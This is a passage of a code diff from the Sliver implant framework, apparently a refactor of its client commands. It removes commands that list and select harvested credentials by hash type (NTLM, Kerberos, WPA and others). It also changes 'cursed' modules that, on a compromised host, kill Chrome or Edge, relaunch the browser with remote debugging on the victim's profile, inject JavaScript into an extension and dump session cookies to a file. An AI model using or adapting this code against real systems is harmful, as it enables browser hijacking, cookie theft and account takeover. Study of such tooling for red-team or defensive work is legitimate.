-	con.Printf("%s\n", tw.Render())
-}
-
-// CredsHashTypeCompleter completes hash types.
-func CredsHashTypeCompleter(con *console.SliverConsoleClient) carapace.Action {
-	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-		results := make([]string, 0)
-
-		for hashType, desc := range hashTypes {
-			results = append(results, hashType)
-			results = append(results, desc)
-		}
-
-		return carapace.ActionValuesDescribed(results...).Tag("hash types")
-	})
-}
-
-// CredsHashFileFormatCompleter completes file formats for hash-files
-func CredsHashFileFormatCompleter(con *console.SliverConsoleClient) carapace.Action {
-	return carapace.ActionValuesDescribed(
-		UserColonHashNewlineFormat, "One hash per line.",
-		HashNewlineFormat, "A file containing lines of 'username:hash' pairs.",
-		CSVFormat, "A CSV file containing 'username,hash' pairs (additional columns ignored).",
-	).Tag("hash file formats")
-}
-
-// CredsCollectionCompleter completes existing creds collection names
-func CredsCollectionCompleter(con *console.SliverConsoleClient) carapace.Action {
-	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-		results := make([]string, 0)
-
-		creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
-		}
-		if len(creds.Credentials) == 0 {
-			return carapace.Action{}
-		}
-
-		for _, cred := range creds.Credentials {
-			if cred.Collection != "" {
-				results = append(results, cred.Collection)
-			}
-		}
-
-		return carapace.ActionValues(results...).Tag("creds collections")
-	})
-}
-
-// CredsCredentialIDCompleter completes credential IDs.
-func CredsCredentialIDCompleter(con *console.SliverConsoleClient) carapace.Action {
-	return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
-		results := make([]string, 0)
-
-		creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			return carapace.ActionMessage("failed to fetch credentials: %s", err.Error())
-		}
-		if len(creds.Credentials) == 0 {
-			return carapace.Action{}
-		}
-
-		for _, cred := range creds.Credentials {
-			results = append(results, cred.ID)
-
-			var hostID string
-			if cred.OriginHostUUID != "" {
-				if len(cred.OriginHostUUID) > 8 {
-					hostID = cred.OriginHostUUID[8:]
-				} else {
-					hostID = cred.OriginHostUUID
-				}
-			} else {
-				hostID = "None"
-			}
-
-			var username string
-			if cred.Username != "" {
-				username = fmt.Sprintf(" (user: %s)", cred.Username)
-			}
-
-			var cracked string
-			if cred.IsCracked {
-				cracked = "[C]"
-			} else {
-				cracked = "[ ]"
-			}
-
-			desc := fmt.Sprintf("[Host: %s] ( %s ) %s%s", hostID, cred.HashType.String(), cracked, username)
-			results = append(results, desc)
-
-		}
-
-		return carapace.ActionValuesDescribed(results...).Tag("credentials")
-	})
-}
@@ -1,143 +0,0 @@
-package creds
-
-// List of all available hash-types, for completions.
-// Unfortunately this list has to be maintained manually,
-// until someone devises a way to do so automatically.
-var hashTypes = map[string]string{
-	"MD5": "MD5", // Enum 0 in proto file.
-
-	"MD4":                   "MD4",
-	"SHA1":                  "SHA1",
-	"SHA2_224":              "SHA2-224",
-	"SHA2_256":              "SHA2-256",
-	"SHA2_384":              "SHA2-384",
-	"SHA2_512":              "SHA2-512",
-	"SHA3_224":              "SHA3-224",
-	"SHA3_256":              "SHA3-256",
-	"SHA3_384":              "SHA3-384",
-	"SHA3_512":              "SHA3-512",
-	"RIPEMD_160":            "RIPEMD-160",
-	"BLAKE2B_256":           "BLAKE2b-512",
-	"GOST_R_32_11_2012_256": "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
-	"GOST_R_32_11_2012_512": "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
-	"GOST_R_34_11_94":       "GOST R 34.11-94",
-	"GPG":                   "GPG (AES-128/AES-256 (SHA-1($pass)))",
-	"HALF_MD5":              "Half MD5",
-	"KECCAK_224":            "Keccak-224",
-	"KECCAK_256":            "Keccak-256",
-	"KECCAK_384":            "Keccak-384",
-	"KECCAK_512":            "Keccak-512",
-	"WHIRLPOOL":             "Whirlpool",
-	"SIPHASH":               "SipHash",
-	"MD5_UTF16LE":           "md5(utf16le($pass))",
-	"SHA1_UTF16LE":          "sha1(utf16le($pass))",
-	"SHA256_UTF16LE":        "sha256(utf16le($pass))",
-	"SHA384_UTF16LE":        "sha384(utf16le($pass))",
-	"SHA512_UTF16LE":        "sha512(utf16le($pass))",
-	"BLAKE2B_512_PW_SALT":   "BLAKE2b-512($pass.$salt)",
-	"BLAKE2B_512_SALT_PW":   "BLAKE2b-512($salt.$pass)",
-	"MD5_PW_SALT":           "md5($pass.$salt)",
-	"MD5_SALT_PW":           "md5($salt.$pass)",
-	"MD5_SALT_PW_SALT":      "md5($salt.$pass.$salt)",
-	"MD5_SALT_MD5_PW":       "md5($salt.md5($pass))",
-
-	// ... TODO fill in the rest ...,
-
-	"CRC32":                        "CRC32",
-	"CRC32C":                       "CRC32B",
-	"CRC64Jones":                   "CRC64-Jones",
-	"JAVA_OBJECT":                  "Java object",
-	"MURMUR":                       "MurmurHash",
-	"MURMUR3":                      "MurmurHash3",
-	"THREE_DES":                    "3DES (PT = $salt, key = $pass)",
-	"DES":                          "DES (PT = $salt, key = $pass)",
-	"AES_128_ECB":                  "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
-	"AES_192_ECB":                  "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
-	"AES_256_ECB":                  "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
-	"CHA_CHA_20":                   "ChaCha20",
-	"LINUX_KERNEL_CRYPTO_API_24":   "Linux Kernel Crypto API (2.4)",
-	"SKIP_32":                      "Skip32 (PT = $salt, key = $pass)",
-	"PBKDF2_HMAC_MD5":              "PBKDF2-HMAC-MD5",
-	"PBKDF2_HMAC_SHA1":             "PBKDF2-HMAC-SHA1",
-	"PBKDF2_HMAC_SHA256":           "PBKDF2-HMAC-SHA256",
-	"PBKDF2_HMAC_SHA512":           "PBKDF2-HMAC-SHA512",
-	"SCRYPT":                       "scrypt",
-	"PHPASS":                       "phpass",
-	"TACACS_PLUS":                  "TACACS+",
-	"SIP_DIGEST":                   "SIP digest authentication (MD5)",
-	"IKE_MD5":                      "IKE-PSK MD5",
-	"IKE_SHA1":                     "IKE-PSK SHA1",
-	"SNMP_V3_HMAC_MD5_96":          "SNMPv3 HMAC-MD5-96",
-	"SNMP_V3_HMAC_MD5_96__SHA1_96": "SNMPv3 HMAC-MD5-96 / HMAC-SHA1-96",
-	"SNMP_V3_HMAC_SHA1_96":         "SNMPv3 HMAC-SHA1-96",
-	"SNMP_V3_HMAC_SHA224_128":      "SNMPv3 HMAC-SHA224-128",
-	"SNMP_V3_HMAC_SHA256_192":      "SNMPv3 HMAC-SHA256-192",
-	"SNMP_V3_HMAC_SHA384_256":      "SNMPv3 HMAC-SHA384-256",
-	"SNMP_V3_HMAC_SHA512_384":      "SNMPv3 HMAC-SHA512-384",
-	"WPA_EAPOL_PBKDF2":             "WPA-EAPOL-PBKDF2",
-	"WPA_EAPOL_PMK":                "WPA-EAPOL-PMK",
-	"WPA_PBKDF2_PMKID_EAPOL":       "WPA-PBKDF2-PMKID+EAPOL",
-	"WPA_PMK_PMKID_EAPOL":          "WPA-PMK-PMKID+EAPOL",
-	"WPA_PMKID_PBKDF2":             "WPA-PMKID-PBKDF2",
-	"WPA_PMKID_PMK":                "WPA-PMKID-PMK",
-	"IPMI2_PAKP_HMAC_SHA1":         "IPMI2 RAKP HMAC-SHA1",
-	"CRAM_MD5":                     "CRAM-MD5",
-	"JWT":                          "JWT (JSON Web Token)",
-	"RADMIN_3":                     "Radmin3",
-	"KERBEROS_17_TGS_REP":          "Kerberos 5, etype 17, TGS-REP",
-	"KERBEROS_17_PREAUTH":          "Kerberos 5, etype 17, Pre-Auth",
-	"KERBEROS_17_DB":               "Kerberos 5, etype 17, DB",
-	"KERBEROS_18_TGS_REP":          "Kerberos 5, etype 18, TGS-REP",
-	"KERBEROS_18_PREAUTH":          "Kerberos 5, etype 18, Pre-Auth",
-	"KERBEROS_18_DB":               "Kerberos 5, etype 18, DB",
-	"KERBEROS_23_SA_REQ_PREAUTH":   "Kerberos 5, etype 23, AS-REQ Pre-Auth",
-	"KERBEROS_23_TGS_REP":          "Kerberos 5, etype 23, TGS-REP",
-	"KERBEROS_23_AS_REP":           "Kerberos 5, etype 23, AS-REP",
-	"NET_NTLM_V1":                  "NetNTLMv1 / NetNTLMv1+ESS",
-	"NET_NTLM_V1_NT":               "NetNTLMv1 / NetNTLMv1+ESS (NT)",
-	"NET_NTLM_V2":                  "NetNTLMv2",
-	"NET_NTLM_V2_NT":               "NetNTLMv2 (NT)",
-	"FLASK":                        "Flask Session Cookie ($salt.$salt.$pass)",
-	"ISCSI_CHAP":                   "iSCSI CHAP authentication, MD5(CHAP)",
-	"RACF":                         "Resource Access Control Facility",
-	"AIX_SMD5":                     "AIX MD5",
-	"AIX_SSHA1":                    "AIX SHA-1",
-	"AIX_SSHA256":                  "AIX SHA-256",
-	"AIX_SSHA512":                  "AIX SHA-512",
-	"LM":                           "LM",
-	"QNX_MD5":                      "QNX /etc/shadow (MD5)",
-	"QNX_SHA256":                   "QNX /etc/shadow (SHA256)",
-	"QNX_SHA512":                   "QNX /etc/shadow (SHA512)",
-	"DPAPI_V1_CTX_1_AND_2":         "DPAPI masterkey file v1 (context 1 and 2)",
-	"DPAPI_V1_CTX_3":               "DPAPI masterkey file v1 (context 3)",
-	"DPAPI_V2_CTX_1_AND_2":         "DPAPI masterkey file v2 (context 1)",
-	"DPAPI_V2_CTX_3":               "DPAPI masterkey file v2 (context 3)",
-	"GRUB_2":                       "GRUB 2",
-	"MS_AZURE_SYNC":                "MS-AzureSync PBKDF2-HMAC-SHA256",
-	"BSDI_CRYPT":                   "BSDi Crypt, Extended DES",
-	"NTLM":                         "NTLM",
-	"RADMIN2":                      "Radmin2",
-	"SAMSUNG_ANDROID":              "Samsung Android Password/PIN",
-	"WINDOWS_HELLO_PIN":            "Windows Hello PIN/Password",
-	"WINDOWS_PHONE":                "Windows Phone 8+ PIN/Password",
-	"CISCO_ASA_MD5":                "Cisco-ASA MD5",
-	"CISCO_IOS_PBKDF2_SHA256":      "Cisco-IOS $8$ (PBKDF2-SHA256)",
-	"CISCO_IOS_SCRYPT":             "Cisco-IOS $9$ (scrypt)",
-	"CISCO_PIX_MD5":                "Cisco-Pix MD5",
-	"CITRIX_NETSCALER_SHA1":        "Citrix NetScaler (SHA1)",
-	"CITRIX_NETSCALER_SHA512":      "Citrix NetScaler (SHA512)",
-	"DCC":                          "Domain Cached Credentials (DCC), MS Cache",
-	"DCC2":                         "Domain Cached Credentials 2 (DCC2), MS Cache 2",
-
-	// ...
-
-	"MACOS_10_8": "macOS v10.8+ (PBKDF2-SHA512)",
-
-	// ...
-
-	// INVALID = 9999; // Invalid hash type
-
-	// Out of order
-	"BCRYPT_UNIX":       "bcrypt",
-	"SHA512_CRYPT_UNIX": "sha512crypt $6$, SHA512 (Unix)",
-}
@@ -1,65 +0,0 @@
-package creds
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-	"github.com/spf13/cobra"
-)
-
-// CredsCmd - Add new credentials
-func CredsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
-	var id string
-	if len(args) > 0 {
-		id = args[0]
-	}
-	if id == "" {
-		credential, err := SelectCredential(false, clientpb.HashType_INVALID, con)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		id = credential.ID
-	}
-	_, err := con.Rpc.CredsRm(context.Background(), &clientpb.Credentials{
-		Credentials: []*clientpb.Credential{
-			{
-				ID: id,
-			},
-		},
-	})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return
-	}
-	if len(creds.Credentials) == 0 {
-		con.PrintInfof("No credentials 🙁\n")
-		return
-	}
-	PrintCreds(creds.Credentials, con)
-}
@@ -1,73 +0,0 @@
-package creds
-
-import (
-	"bytes"
-	"context"
-	"errors"
-	"fmt"
-	"strings"
-	"text/tabwriter"
-
-	"github.com/AlecAivazis/survey/v2"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
-	"github.com/bishopfox/sliver/protobuf/commonpb"
-)
-
-// SelectCredential - Interactive menu for the user to select a credentials from the database
-func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverConsoleClient) (*clientpb.Credential, error) {
-	var creds *clientpb.Credentials
-	var err error
-	if hashType == clientpb.HashType_INVALID {
-		creds, err = con.Rpc.Creds(context.Background(), &commonpb.Empty{})
-		if err != nil {
-			return nil, err
-		}
-	} else {
-		creds, err = con.Rpc.GetCredsByHashType(context.Background(), &clientpb.Credential{HashType: hashType})
-		if err != nil {
-			return nil, err
-		}
-	}
-	if len(creds.Credentials) == 0 {
-		return nil, errors.New("no credentials to select from")
-	}
-
-	// Render selection table
-	buf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
-	for _, cred := range creds.Credentials {
-		if cred.Plaintext == "" {
-			fmt.Fprintf(table, "%s\t%s\t%s\t[not cracked]\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType)
-		} else {
-			plaintext := cred.Plaintext
-			if len(plaintext) > 12 {
-				plaintext = plaintext[:12] + "..."
-			}
-			fmt.Fprintf(table, "%s\t%s\t%s\tplaintext: %s\t\n", strings.Split(cred.ID, "-")[0], cred.Collection, cred.HashType, plaintext)
-		}
-	}
-	table.Flush()
-	options := strings.Split(buf.String(), "\n")
-	options = options[:len(options)-1]
-	if len(options) == 0 {
-		return nil, errors.New("no credentials to select from")
-	}
-
-	selected := ""
-	prompt := &survey.Select{
-		Message: "Select a credential:",
-		Options: options,
-	}
-	err = survey.AskOne(prompt, &selected)
-	if err != nil {
-		return nil, err
-	}
-	for index, value := range options {
-		if value == selected {
-			return creds.Credentials[index], nil
-		}
-	}
-	return nil, nil
-}
@@ -22,15 +22,13 @@ import (
 	"context"
 	"errors"
 	"fmt"
+	"io/ioutil"
 	"log"
 	insecureRand "math/rand"
-	"os"
 	"strings"
 	"time"

 	"github.com/AlecAivazis/survey/v2"
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/core"
 	"github.com/bishopfox/sliver/client/overlord"
@@ -38,6 +36,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
 )

 var (
@@ -52,24 +51,24 @@ var (
 )

 // CursedChromeCmd - Execute a .NET assembly in-memory
-func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func CursedChromeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	session := con.ActiveTarget.GetSessionInteractive()
 	if session == nil {
 		return
 	}

-	payloadPath, _ := cmd.Flags().GetString("payload")
+	payloadPath := ctx.Flags.String("payload")
 	var payload []byte
 	var err error
 	if payloadPath != "" {
-		payload, err = os.ReadFile(payloadPath)
+		payload, err = ioutil.ReadFile(payloadPath)
 		if err != nil {
 			con.PrintErrorf("Could not read payload file: %s\n", err)
 			return
 		}
 	}

-	curse := avadaKedavraChrome(session, cmd, con, args)
+	curse := avadaKedavraChrome(session, ctx, con)
 	if curse == nil {
 		return
 	}
@@ -97,10 +96,10 @@ func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
 		con.Printf("success!\n")
 		con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
 		con.PrintInfof("Injecting payload ... ")
-		cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
-		// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
+		ctx, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
+		// extCtxTimeout, cancel := context.WithTimeout(ctx, 10*time.Second)
 		// defer cancel()
-		_, err = overlord.ExecuteJS(cmd, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
+		_, err = overlord.ExecuteJS(ctx, chromeExt.WebSocketDebuggerURL, chromeExt.ID, string(payload))
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -112,8 +111,8 @@ func CursedChromeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
 	}
 }

-func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) *core.CursedProcess {
-	chromeProcess, err := getChromeProcess(session, cmd, con)
+func avadaKedavraChrome(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) *core.CursedProcess {
+	chromeProcess, err := getChromeProcess(session, ctx, con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return nil
@@ -134,7 +133,7 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons
 			return nil
 		}
 		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-			Request: con.ActiveTarget.Request(cmd),
+			Request: con.ActiveTarget.Request(ctx),
 			Pid:     chromeProcess.GetPid(),
 		})
 		if err != nil {
@@ -146,7 +145,7 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons
 			return nil
 		}
 	}
-	curse, err := startCursedChromeProcess(false, session, cmd, con, cargs)
+	curse, err := startCursedChromeProcess(false, session, ctx, con)
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return nil
@@ -154,21 +153,21 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons
 	return curse
 }

-func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient, cargs []string) (*core.CursedProcess, error) {
+func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
 	name := "Chrome"
 	if isEdge {
 		name = "Edge"
 	}

 	con.PrintInfof("Finding %s executable path ... ", name)
-	chromeExePath, err := findChromeExecutablePath(isEdge, session, cmd, con)
+	chromeExePath, err := findChromeExecutablePath(isEdge, session, ctx, con)
 	if err != nil {
 		con.Printf("failure!\n")
 		return nil, err
 	}
 	con.Printf("success!\n")
 	con.PrintInfof("Finding %s user data directory ... ", name)
-	chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, cmd, con)
+	chromeUserDataDir, err := findChromeUserDataDir(isEdge, session, ctx, con)
 	if err != nil {
 		con.Printf("failure!\n")
 		return nil, err
@@ -176,31 +175,31 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra
 	con.Printf("success!\n")

 	con.PrintInfof("Starting %s process ... ", name)
-	debugPort := getRemoteDebuggerPort(cmd)
+	debugPort := getRemoteDebuggerPort(ctx)
 	args := []string{
 		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
 	}
 	if chromeUserDataDir != "" {
 		args = append(args, fmt.Sprintf("--user-data-dir=%s", chromeUserDataDir))
 	}
-	if restore, _ := cmd.Flags().GetBool("restore"); restore {
+	if ctx.Flags.Bool("restore") {
 		args = append(args, "--restore-last-session")
 	}
-	if keepalive, _ := cmd.Flags().GetBool("keep-alive"); keepalive {
+	if ctx.Flags.Bool("keep-alive") {
 		args = append(args, "--keep-alive-for-test")
 	}
-	if headless, _ := cmd.Flags().GetBool("headless"); headless {
+	if ctx.Flags.Bool("headless") {
 		args = append(args, "--headless")
 	}
-
-	if len(cargs) > 0 {
-		args = append(args, cargs...)
+	additionalArgs := ctx.Args.StringList("args")
+	if len(additionalArgs) > 0 {
+		args = append(args, additionalArgs...)
 	}

 	// Execute the Chrome process with the extra flags
 	// TODO: PPID spoofing, etc.
 	chromeExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 		Path:    chromeExePath,
 		Args:    args,
 		Output:  false,
@@ -254,8 +253,8 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra
 	return curse, nil
 }

-func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) {
-	userDataFlag, _ := cmd.Flags().GetString("user-data")
+func findChromeUserDataDir(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
+	userDataFlag := ctx.Flags.String("user-data")
 	if userDataFlag != "" {
 		return userDataFlag, nil
 	}
@@ -273,7 +272,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Co
 				userDataDir = fmt.Sprintf("%s:\\Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data", driveLetter, username)
 			}
 			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-				Request: con.ActiveTarget.Request(cmd),
+				Request: con.ActiveTarget.Request(ctx),
 				Path:    userDataDir,
 			})
 			if err != nil {
@@ -291,7 +290,7 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Co
 			userDataDir = fmt.Sprintf("/Users/%s/Library/Application Support/Microsoft Edge", session.Username)
 		}
 		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-			Request: con.ActiveTarget.Request(cmd),
+			Request: con.ActiveTarget.Request(ctx),
 			Path:    userDataDir,
 		})
 		if err != nil {
@@ -307,8 +306,8 @@ func findChromeUserDataDir(isEdge bool, session *clientpb.Session, cmd *cobra.Co
 	}
 }

-func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (string, error) {
-	exeFlag, _ := cmd.Flags().GetString("exe")
+func findChromeExecutablePath(isEdge bool, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (string, error) {
+	exeFlag := ctx.Flags.String("exe")
 	if exeFlag != "" {
 		return exeFlag, nil
 	}
@@ -338,7 +337,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra
 				chromeExecutablePath := strings.ReplaceAll(chromePath, "[DRIVE]", driveLetter)
 				chromeExecutablePath = strings.ReplaceAll(chromeExecutablePath, "[USERNAME]", username)
 				ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-					Request: con.ActiveTarget.Request(cmd),
+					Request: con.ActiveTarget.Request(ctx),
 					Path:    chromeExecutablePath,
 				})
 				if err != nil {
@@ -358,7 +357,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra
 			defaultChromePath = "/Applications/Microsoft Edge.app/Contents/MacOS/Microsoft Edge"
 		}
 		ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-			Request: con.ActiveTarget.Request(cmd),
+			Request: con.ActiveTarget.Request(ctx),
 			Path:    defaultChromePath,
 		})
 		if err != nil {
@@ -384,7 +383,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra
 		}
 		for _, chromePath := range chromeLinuxPaths {
 			ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-				Request: con.ActiveTarget.Request(cmd),
+				Request: con.ActiveTarget.Request(ctx),
 				Path:    chromePath,
 			})
 			if err != nil {
@@ -402,7 +401,7 @@ func findChromeExecutablePath(isEdge bool, session *clientpb.Session, cmd *cobra
 }

 func isChromeProcess(executable string) bool {
-	chromeProcessNames := []string{
+	var chromeProcessNames = []string{
 		"chrome",           // Linux
 		"google-chrome",    // Linux
 		"chromium-browser", // Linux
@@ -417,9 +416,9 @@ func isChromeProcess(executable string) bool {
 	return false
 }

-func getChromeProcess(session *clientpb.Session, cmd *cobra.Command, con *console.SliverConsoleClient) (*commonpb.Process, error) {
+func getChromeProcess(session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*commonpb.Process, error) {
 	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveTarget.Request(ctx),
 	})
 	if err != nil {
 		return nil, err
@@ -22,20 +22,19 @@ import (
 	"bytes"
 	"fmt"
 	"io"
-	"os"
+	"io/ioutil"
 	"strings"
 	"text/tabwriter"

 	"github.com/AlecAivazis/survey/v2"
-	"github.com/reeflective/readline"
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/core"
 	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
+	"github.com/desertbit/readline"
 )

-func CursedConsoleCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	curse := selectCursedProcess(con)
 	if curse == nil {
 		return
@@ -90,19 +89,26 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
 	return &selectedTarget
 }

-var helperHooks = []string{
-	"console.log = (...a) => {return a;}", // console.log
-}
+var (
+	helperHooks = []string{
+		"console.log = (...a) => {return a;}", // console.log
+	}
+)

 func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
-	tmpFile, _ := os.CreateTemp("", "cursed")
-	shell := readline.NewShell()
-	shell.History.AddFromFile("cursed history", tmpFile.Name())
-	shell.Prompt.Primary(func() string { return "\033[31mcursed »\033[0m " })
-	// 	EOFPrompt:         "exit",
-
-	if con.Settings.VimMode {
-		shell.Config.Set("editing-mode", "vi")
+	tmpFile, _ := ioutil.TempFile("", "cursed")
+	reader, err := readline.NewEx(&readline.Config{
+		Prompt:      "\033[31mcursed »\033[0m ",
+		HistoryFile: tmpFile.Name(),
+		// AutoComplete:    nil,
+		InterruptPrompt:   "^C",
+		EOFPrompt:         "exit",
+		HistorySearchFold: true,
+		// FuncFilterInputRune: filterInput,
+	})
+	if err != nil {
+		con.PrintErrorf("Failed to create read line: %s\n", err)
+		return
 	}

 	if helpers {
@@ -117,9 +123,8 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
 	}

 	con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
-
 	for {
-		line, err := shell.Readline()
+		line, err := reader.Readline()
 		if err == readline.ErrInterrupt {
 			if len(line) == 0 {
 				break
@@ -129,8 +134,8 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
 		} else if err == io.EOF {
 			break
 		}
-
 		switch strings.TrimSpace(line) {
+
 		case ":help":
 			con.Println()
 			con.Println("Available commands:")
@@ -140,7 +145,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
 			con.Println()

 		case ":file":
-			jsCode, err := os.ReadFile(line)
+			jsCode, err := ioutil.ReadFile(line)
 			if err != nil {
 				con.PrintErrorf("%s\n", err)
 				continue
@@ -20,17 +20,16 @@ package cursed

 import (
 	"fmt"
-	"os"
+	"io/ioutil"
 	"strings"
 	"time"

-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/overlord"
+	"github.com/desertbit/grumble"
 )

-func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
+func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	curse := selectCursedProcess(con)
 	if curse == nil {
 		return
@@ -47,7 +46,7 @@ func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
 	if len(cookies) == 0 {
 		return
 	}
-	saveFile, _ := cmd.Flags().GetString("save")
+	saveFile := ctx.Flags.String("save")
 	if saveFile == "" {
 		saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
 	}
@@ -60,7 +59,7 @@ func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
 		}
 		jsonCookies = append(jsonCookies, string(jsonCookie))
 	}
-	err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
+	err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
 	if err != nil {
 		con.PrintErrorf("Failed to save cookies: %s\n", err)
 		return
@@ -20,40 +20,38 @@ package cursed

 import (
 	"context"
-	"os"
-
+	"io/ioutil"
 	"strings"

 	"github.com/AlecAivazis/survey/v2"
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/client/core"
 	"github.com/bishopfox/sliver/client/overlord"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
 )

 // CursedChromeCmd - Execute a .NET assembly in-memory
-func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
